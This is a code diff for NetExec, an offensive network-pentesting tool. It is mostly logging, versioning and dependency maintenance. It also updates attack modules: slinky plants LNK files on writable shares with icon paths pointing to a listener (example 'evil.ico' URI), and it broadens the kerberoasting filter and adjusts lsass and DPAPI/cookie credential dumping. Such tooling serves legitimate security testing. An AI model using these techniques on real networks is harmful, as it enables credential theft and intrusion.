diff --git a/netexec.spec b/netexec.spec
index d42488a14..67ff23459 100644
--- a/netexec.spec
+++ b/netexec.spec
@@ -38,6 +38,7 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
+        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
         'nxc.helpers.msada_guids',
@@ -71,6 +72,7 @@ a = Analysis(
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
+        'dateutil.relativedelta',
         'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
diff --git a/nxc/cli.py b/nxc/cli.py
index 04f6ddc4c..e16062530 100755
--- a/nxc/cli.py
+++ b/nxc/cli.py
@@ -9,13 +9,20 @@
 from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.logger import nxc_logger
+from nxc.logger import nxc_logger, setup_debug_logging
 import importlib.metadata
 
 
 def gen_cli_args():
-    VERSION = importlib.metadata.version("netexec")
+    setup_debug_logging()
+    
+    try:
+        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
+    except ValueError:
+        VERSION = importlib.metadata.version("netexec")
+        COMMIT = ""
     CODENAME = "nxc4u"
+    nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
 
     parser = argparse.ArgumentParser(description=rf"""
      .   .
@@ -34,6 +41,7 @@ def gen_cli_args():
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
+    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
     """, formatter_class=RawTextHelpFormatter)
 
     parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
@@ -95,7 +103,7 @@ def gen_cli_args():
         sys.exit(1)
 
     if args.version:
-        print(f"{VERSION} - {CODENAME}")
+        print(f"{VERSION} - {CODENAME} - {COMMIT}")
         sys.exit(1)
 
     return args
diff --git a/nxc/connection.py b/nxc/connection.py
index bc5512b91..ac5955866 100755
--- a/nxc/connection.py
+++ b/nxc/connection.py
@@ -14,6 +14,7 @@
 
 from impacket.dcerpc.v5 import transport
 import sys
+import contextlib
 
 sem = BoundedSemaphore(1)
 global_failed_logins = 0
@@ -125,6 +126,10 @@ def __init__(self, args, db, host):
                 self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
             else:
                 self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+        finally:
+            self.logger.debug(f"Closing connection to: {host}")
+            with contextlib.suppress(Exception):
+                self.conn.close()
 
     @staticmethod
     def proto_args(std_parser, module_parser):
diff --git a/nxc/logger.py b/nxc/logger.py
index 51862a697..ce8598a37 100755
--- a/nxc/logger.py
+++ b/nxc/logger.py
@@ -11,8 +11,31 @@
 from rich.logging import RichHandler
 import functools
 import inspect
+import argparse
 
 
+def parse_debug_args():
+    debug_parser = argparse.ArgumentParser(add_help=False)
+    debug_parser.add_argument("--debug", action="store_true")
+    debug_parser.add_argument("--verbose", action="store_true")
+    args, _ = debug_parser.parse_known_args()
+    return args
+
+def setup_debug_logging():
+    debug_args = parse_debug_args()
+    root_logger = logging.getLogger("root")
+    
+    if debug_args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif debug_args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.DEBUG)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+        
+
 def create_temp_logger(caller_frame, formatted_text, args, kwargs):
     """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
     temp_logger = logging.getLogger("temp")
@@ -72,6 +95,7 @@ def __init__(self, extra=None):
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
+        logging.getLogger("neo4j").setLevel(logging.ERROR)
 
     def format(self, msg, *args, **kwargs):  # noqa: A003
         """Format msg for output
diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py
index 67feeca39..214b77b9c 100644
--- a/nxc/modules/add-computer.py
+++ b/nxc/modules/add-computer.py
@@ -3,7 +3,6 @@
 from impacket.dcerpc.v5 import samr, epm, transport
 import sys
 
-
 class NXCModule:
     """
     Module by CyberCelt: @Cyb3rC3lt
@@ -41,6 +40,7 @@ def options(self, context, module_options):
 
         if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
             context.log.error("NAME  and PASSWORD options are required!")
+            sys.exit(1)
         elif "CHANGEPW" in module_options:
             self.__noAdd = True
 
@@ -87,8 +87,7 @@ def on_login(self, context, connection):
         # If SAMR fails now try over LDAPS
         if not self.noLDAPRequired:
             self.do_ldaps_add(connection, context)
-        else:
-            sys.exit(1)
+            
 
     def do_samr_add(self, context):
         """
@@ -178,7 +177,6 @@ def do_samr_add(self, context):
                     samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
                     self.noLDAPRequired = True
                     context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
-                    sys.exit(1)
                 except samr.DCERPCSessionError as e:
                     if e.error_code != 0xC0000073:
                         raise
diff --git a/nxc/modules/lsassy.py b/nxc/modules/lsassy.py
index f4cf6c80f..693db6f2c 100644
--- a/nxc/modules/lsassy.py
+++ b/nxc/modules/lsassy.py
@@ -64,7 +64,7 @@ def on_admin_login(self, context, connection):
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(file).parse()
+        parsed = Parser(host, file).parse()
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False
diff --git a/nxc/modules/msol.py b/nxc/modules/msol.py
index 0daa3e6e1..0a2b44ccf 100644
--- a/nxc/modules/msol.py
+++ b/nxc/modules/msol.py
@@ -3,7 +3,7 @@
 # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
 from sys import exit
 from os import path
-import sys
+from nxc.paths import TMP_PATH
 from nxc.helpers.powershell import get_ps_script
 
 
@@ -49,14 +49,14 @@ def exec_script(self, _, connection):
 
     def on_admin_login(self, context, connection):
         if self.use_embedded:
-            file_to_upload = "/tmp/msol.ps1"
+            file_to_upload = f"{TMP_PATH}/msol.ps1"
 
             try:
                 with open(file_to_upload, "w") as msol:
                     msol.write(self.msol_embedded)
             except FileNotFoundError:
                 context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
-                sys.exit(1)
+                exit(1)
             
         else:
             if path.isfile(self.MSOL_PS1):
diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py
index f157c9459..fdb38a029 100644
--- a/nxc/modules/nanodump.py
+++ b/nxc/modules/nanodump.py
@@ -174,7 +174,7 @@ def on_admin_login(self, context, connection):
                     self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
             else:
                 try:
-                    exec_method = MSSQLEXEC(self.connection.conn)
+                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
                     exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
                     self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
                 except Exception as e:
diff --git a/nxc/modules/scuffy.py b/nxc/modules/scuffy.py
index 900e25e6a..701995b27 100644
--- a/nxc/modules/scuffy.py
+++ b/nxc/modules/scuffy.py
@@ -1,5 +1,6 @@
 import ntpath
 from sys import exit
+from nxc.paths import TMP_PATH
 
 
 class NXCModule:
@@ -44,7 +45,7 @@ def options(self, context, module_options):
             exit(1)
 
         self.scf_name = module_options["NAME"]
-        self.scf_path = f"/tmp/{self.scf_name}.scf"
+        self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
         self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
 
         if not self.cleanup:
diff --git a/nxc/modules/slinky.py b/nxc/modules/slinky.py
index 42aa626a3..3a9e3ab91 100644
--- a/nxc/modules/slinky.py
+++ b/nxc/modules/slinky.py
@@ -7,42 +7,55 @@ class NXCModule:
     """
     Original idea and PoC by Justin Angel (@4rch4ngel86)
     Module by @byt3bl33d3r
+    Updated by @Marshall-Hallenbeck
     """
 
     name = "slinky"
-    description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
+    description = "Creates windows shortcuts with the icon attribute containing a URI to the specified  server (default SMB) in all shares with write permissions"
     supported_protocols = ["smb"]
     opsec_safe = False
     multiple_hosts = True
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
         self.server = None
         self.file_path = None
         self.lnk_path = None
         self.lnk_name = None
+        self.ico_uri = None
+        self.shares = None
         self.cleanup = None
 
     def options(self, context, module_options):
-        """
-        SERVER        IP of the SMB server
-        NAME          LNK file name
+        r"""
+        SERVER        IP of the listening server (running Responder, etc)
+        NAME          LNK file name written to the share(s)
+        ICO_URI       Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
+        SHARES        Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
         CLEANUP       Cleanup (choices: True or False)
         """
         self.cleanup = False
 
         if "CLEANUP" in module_options:
             self.cleanup = bool(module_options["CLEANUP"])
+            context.log.debug("Cleanup set to True")
 
         if "NAME" not in module_options:
             context.log.fail("NAME option is required!")
             exit(1)
+            
+        if "SHARES" in module_options:
+            self.shares = module_options["SHARES"].split(",")
+            context.log.debug(f"Shares to write to: {self.shares}")
 
         if not self.cleanup and "SERVER" not in module_options:
             context.log.fail("SERVER option is required!")
             exit(1)
-
+            
+        if "ICO_URI" in module_options:
+            self.ico_uri = module_options["ICO_URI"]
+            context.log.debug("Overriding")
+            
+            
         self.lnk_name = module_options["NAME"]
         self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
         self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
@@ -50,28 +63,33 @@ def options(self, context, module_options):
         if not self.cleanup:
             self.server = module_options["SERVER"]
             link = pylnk3.create(self.lnk_path)
-            link.icon = f"\\\\{self.server}\\icons\\icon.ico"
+            link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
             link.save()
 
     def on_login(self, context, connection):
         shares = connection.shares()
-        for share in shares:
-            if "WRITE" in share["access"] and share["name"] not in [
-                "C$",
-                "ADMIN$",
-                "NETLOGON",
-            ]:
-                context.log.success(f"Found writable share: {share['name']}")
-                if not self.cleanup:
-                    with open(self.lnk_path, "rb") as lnk:
+        if shares:
+            slinky_logger = context.log.init_log_file()
+            context.log.add_file_log(slinky_logger)
+            
+            for share in shares:
+                # TODO: these can be written to - add an option to override these
+                if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
+                    if self.shares is not None and share["name"] not in self.shares:
+                        context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
+                        continue
+                    
+                    context.log.success(f"Found writable share: {share['name']}")
+                    if not self.cleanup:
+                        with open(self.lnk_path, "rb") as lnk:
+                            try:
+                                connection.conn.putFile(share["name"], self.file_path, lnk.read)
+                                context.log.success(f"Created LNK file on the {share['name']} share")
+                            except Exception as e:
+                                context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
+                    else:
                         try:
-                            connection.conn.putFile(share["name"], self.file_path, lnk.read)
-                            context.log.success(f"Created LNK file on the {share['name']} share")
+                            connection.conn.deleteFile(share["name"], self.file_path)
+                            context.log.success(f"Deleted LNK file on the {share['name']} share")
                         except Exception as e:
-                            context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
-                else:
-                    try:
-                        connection.conn.deleteFile(share["name"], self.file_path)
-                        context.log.success(f"Deleted LNK file on the {share['name']} share")
-                    except Exception as e:
-                        context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+                            context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
diff --git a/nxc/netexec.py b/nxc/netexec.py
index 9b15d1cd0..4ff49e6aa 100755
--- a/nxc/netexec.py
+++ b/nxc/netexec.py
@@ -21,7 +21,6 @@
 from os.path import exists
 from os.path import join as path_join
 from sys import exit
-import logging
 from rich.progress import Progress
 import platform
 
@@ -67,20 +66,8 @@ async def start_run(protocol_obj, args, db, targets):
 
 def main():
     first_run_setup(nxc_logger)
-    root_logger = logging.getLogger("root")
     args = gen_cli_args()
 
-    if args.verbose:
-        nxc_logger.logger.setLevel(logging.INFO)
-        root_logger.setLevel(logging.INFO)
-    elif args.debug:
-        nxc_logger.logger.setLevel(logging.DEBUG)
-        root_logger.setLevel(logging.DEBUG)
-    else:
-        nxc_logger.logger.setLevel(logging.ERROR)
-        root_logger.setLevel(logging.ERROR)
-    logging.getLogger("neo4j").setLevel(logging.ERROR)
-
     # if these are the same, it might double log to file (two FileHandlers will be added)
     # but this should never happen by accident
     if config_log:
@@ -88,8 +75,8 @@ def main():
     if hasattr(args, "log") and args.log:
         nxc_logger.add_file_log(args.log)
 
-    nxc_logger.debug("PYTHON VERSION: " + sys.version)
-    nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
+    nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
+    nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
     nxc_logger.debug(f"Passed args: {args}")
 
     # FROM HERE ON A PROTOCOL IS REQUIRED
diff --git a/nxc/protocols/ftp/database.py b/nxc/protocols/ftp/database.py
index 657846be1..1b50a4e51 100644
--- a/nxc/protocols/ftp/database.py
+++ b/nxc/protocols/ftp/database.py
@@ -74,7 +74,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py
index 3ec61c1bc..b84573f7a 100644
--- a/nxc/protocols/ldap.py
+++ b/nxc/protocols/ldap.py
@@ -942,7 +942,7 @@ def asreproast(self):
 
     def kerberoasting(self):
         # Building the search filter
-        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
+        searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
         attributes = [
             "servicePrincipalName",
             "sAMAccountName",
@@ -993,7 +993,7 @@ def kerberoasting(self):
 
                     if mustCommit is True:
                         if int(userAccountControl) & UF_ACCOUNTDISABLE:
-                            self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
+                            self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
                         else:
                             answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
                 except Exception as e:
diff --git a/nxc/protocols/ldap/database.py b/nxc/protocols/ldap/database.py
index 478a7ff92..3b45862e8 100644
--- a/nxc/protocols/ldap/database.py
+++ b/nxc/protocols/ldap/database.py
@@ -54,7 +54,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py
index 7542ee318..9de7ea424 100755
--- a/nxc/protocols/mssql/database.py
+++ b/nxc/protocols/mssql/database.py
@@ -77,7 +77,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/rdp/database.py b/nxc/protocols/rdp/database.py
index b42aca52b..3e2695867 100644
--- a/nxc/protocols/rdp/database.py
+++ b/nxc/protocols/rdp/database.py
@@ -57,7 +57,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py
index a0c2e5c21..d8c289ff1 100755
--- a/nxc/protocols/smb.py
+++ b/nxc/protocols/smb.py
@@ -257,7 +257,6 @@ def enum_host_info(self):
         except Exception as e:
             self.logger.debug(f"Error logging off system: {e}")
 
-
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
         smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
@@ -1010,10 +1009,9 @@ def groups(self):
     def users(self):
         if len(self.args.users) > 0:
             self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
-             
         return UserSamrDump(self).dump(self.args.users)
 
-    def hosts(self):
+    def computers(self):
         hosts = []
         for dc_ip in self.get_dc_ips():
             try:
@@ -1035,7 +1033,7 @@ def hosts(self):
                     self.logger.highlight(f"{domain}\\{host_clean:<30}")
                 break
             except Exception as e:
-                self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
+                self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
                 break
         return hosts
 
@@ -1491,12 +1489,14 @@ def dpapi(self):
                 credential.url,
             )
 
-        if dump_cookies:
+        if dump_cookies and cookies:
             self.logger.display("Start Dumping Cookies")
             for cookie in cookies:
                 if cookie.cookie_value != "":
                     self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
             self.logger.display("End Dumping Cookies")
+        elif dump_cookies:
+            self.logger.fail("No cookies found")
 
         vaults = []
         try:
@@ -1537,6 +1537,9 @@ def dpapi(self):
                 credential.url,
             )
 
+        if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
+            self.logger.fail("No secrets found")
+
     @requires_admin
     def lsa(self):
         try:
diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py
index d973ca453..28083b5ec 100755
--- a/nxc/protocols/smb/database.py
+++ b/nxc/protocols/smb/database.py
@@ -193,7 +193,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py
index 633b1a5d2..c3bae0b06 100644
--- a/nxc/protocols/ssh.py
+++ b/nxc/protocols/ssh.py
@@ -4,7 +4,6 @@
 import logging
 import time
 
-from io import StringIO
 from nxc.config import process_secret
 from nxc.connection import connection, highlight
 from nxc.logger import NXCAdapter
@@ -182,26 +181,20 @@ def check_if_admin_sudo(self):
                 self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
                 return
 
-    def plaintext_login(self, username, password, private_key=None):
+    def plaintext_login(self, username, password, private_key=""):
         self.username = username
         self.password = password
-        private_key = ""
         stdout = None
         try:
             if self.args.key_file or private_key:
-                self.logger.debug("Logging in with key")
+                self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
 
-                if self.args.key_file:
-                    with open(self.args.key_file) as f:
-                        private_key = f.read()
-
-                pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
                 self.conn.connect(
                     self.host,
                     port=self.port,
                     username=username,
                     passphrase=password if password != "" else None,
-                    pkey=pkey,
+                    key_filename=private_key if private_key else self.args.key_file,
                     look_for_keys=False,
                     allow_agent=False,
                 )
@@ -228,13 +221,10 @@ def plaintext_login(self, username, password, private_key=None):
             # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
             _, stdout, _ = self.conn.exec_command("id")
             stdout = stdout.read().decode(self.args.codec, errors="ignore")
+        except SSHException as e:
+            self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
         except Exception as e:
-            if self.args.key_file:
-                password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
-            if "OpenSSH private key file checkints do not match" in str(e):
-                self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
-            else:
-                self.logger.fail(f"{username}:{password} {e}")
+            self.logger.fail(f"{username}:{process_secret(password)} {e}")
             self.conn.close()
             return False
         else:
@@ -287,7 +277,7 @@ def plaintext_login(self, username, password, private_key=None):
                 self.server_os_platform,
                 "- Shell access!" if shell_access else ""
             )
-            self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
+            self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
 
             return True
 
diff --git a/nxc/protocols/ssh/database.py b/nxc/protocols/ssh/database.py
index 796a9869c..c4adedf71 100644
--- a/nxc/protocols/ssh/database.py
+++ b/nxc/protocols/ssh/database.py
@@ -99,7 +99,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/vnc/database.py b/nxc/protocols/vnc/database.py
index 160e5512d..cb1a0a0ac 100644
--- a/nxc/protocols/vnc/database.py
+++ b/nxc/protocols/vnc/database.py
@@ -62,7 +62,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py
index ec69ce7f2..88b03d033 100644
--- a/nxc/protocols/winrm/database.py
+++ b/nxc/protocols/winrm/database.py
@@ -82,7 +82,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py
index 478a7ff92..3b45862e8 100644
--- a/nxc/protocols/wmi/database.py
+++ b/nxc/protocols/wmi/database.py
@@ -54,7 +54,7 @@ def reflect_tables(self):
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
diff --git a/poetry.lock b/poetry.lock
index 2f54a41fb..554c4b9cf 100644
--- a/poetry.lock
+++ b/poetry.lock
@@ -659,6 +659,20 @@ files = [
     {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"},
 ]
 
+[[package]]
+name = "dunamai"
+version = "1.19.2"
+description = "Dynamic version generation"
+optional = false
+python-versions = ">=3.5"
+files = [
+    {file = "dunamai-1.19.2-py3-none-any.whl", hash = "sha256:bc126b17571a44d68ed826cec596e0f61dc01edca8b21486f70014936a5d44f2"},
+    {file = "dunamai-1.19.2.tar.gz", hash = "sha256:3be4049890763e19b8df1d52960dbea60b3e263eb0c96144a677ae0633734d2e"},
+]
+
+[package.dependencies]
+packaging = ">=20.9"
+
 [[package]]
 name = "exceptiongroup"
 version = "1.2.0"
@@ -933,19 +947,19 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
 
 [[package]]
 name = "lsassy"
-version = "3.1.6"
+version = "3.1.10"
 description = "Python library to extract credentials from lsass remotely"
 optional = false
 python-versions = ">=3.6"
 files = [
-    {file = "lsassy-3.1.6-py3-none-any.whl", hash = "sha256:d1a0e1d57ad5e969b09b5b039e367a189fad19d45ab7299aee4081d4abdf66a6"},
-    {file = "lsassy-3.1.6.tar.gz", hash = "sha256:50b6b44331b606e67087cd07edcb0e3f256dda32e59da633d068deb378df657a"},
+    {file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"},
+    {file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"},
 ]
 
 [package.dependencies]
 impacket = "*"
 netaddr = "*"
-pypykatz = ">=0.6.2"
+pypykatz = ">=0.6.3"
 rich = "*"
 
 [[package]]
@@ -1497,6 +1511,25 @@ files = [
 dev = ["pre-commit", "tox"]
 testing = ["pytest", "pytest-benchmark"]
 
+[[package]]
+name = "poetry-dynamic-versioning"
+version = "1.2.0"
+description = "Plugin for Poetry to enable dynamic versioning based on VCS tags"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+    {file = "poetry_dynamic_versioning-1.2.0-py3-none-any.whl", hash = "sha256:8dbef9728d866eb3d1a4edbb29c7ac8abdf96e3ca659473e950e2c016f3785ec"},
+    {file = "poetry_dynamic_versioning-1.2.0.tar.gz", hash = "sha256:1a7bbdba2530499e73dfc6ac0af19de29020ab4aaa3e507573877114e6b71ed6"},
+]
+
+[package.dependencies]
+dunamai = ">=1.18.0,<2.0.0"
+jinja2 = ">=2.11.1,<4"
+tomlkit = ">=0.4"
+
+[package.extras]
+plugin = ["poetry (>=1.2.0,<2.0.0)"]
+
 [[package]]
 name = "prompt-toolkit"
 version = "3.0.43"
@@ -2152,6 +2185,17 @@ files = [
     {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
 ]
 
+[[package]]
+name = "tomlkit"
+version = "0.12.4"
+description = "Style preserving TOML library"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "tomlkit-0.12.4-py3-none-any.whl", hash = "sha256:5cd82d48a3dd89dee1f9d64420aa20ae65cfbd00668d6f094d7578a78efbb77b"},
+    {file = "tomlkit-0.12.4.tar.gz", hash = "sha256:7ca1cfc12232806517a8515047ba66a19369e71edf2439d0f5824f91032b6cc3"},
+]
+
 [[package]]
 name = "tqdm"
 version = "4.66.1"
@@ -2283,4 +2327,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
 [metadata]
 lock-version = "2.0"
 python-versions = "^3.8.0"
-content-hash = "3cdc6000434a0894b1bd56175603b1722b6e8c56e29b4652891758ee8a603cd1"
+content-hash = "1b8271b530579cd4359489ca5cf526e711853ce33a24309ac4d8c8e72609e6ad"
diff --git a/pyproject.toml b/pyproject.toml
index e1b311513..4f7348609 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -36,7 +36,7 @@ nxcdb = 'nxc.nxcdb:main'
 python = "^3.8.0"
 requests = ">=2.27.1"
 beautifulsoup4 = ">=4.11,<5"
-lsassy = "3.1.6"    # Doubt that this will work though
+lsassy = ">=3.1.8"
 termcolor = "1.1.0"
 msgpack = "^1.0.0"
 neo4j = "^5.0.0"
@@ -63,6 +63,7 @@ rich = "^13.3.5"
 python-libnmap = "0.7.2"
 argcomplete = "^3.1.4"
 python-dateutil = ">=2.8.2"
+poetry-dynamic-versioning = "^1.2.0"
 
 [tool.poetry.group.dev.dependencies]
 flake8 = "*"
@@ -71,8 +72,13 @@ pytest = "^7.2.2"
 ruff = "=0.0.292"
 
 [build-system]
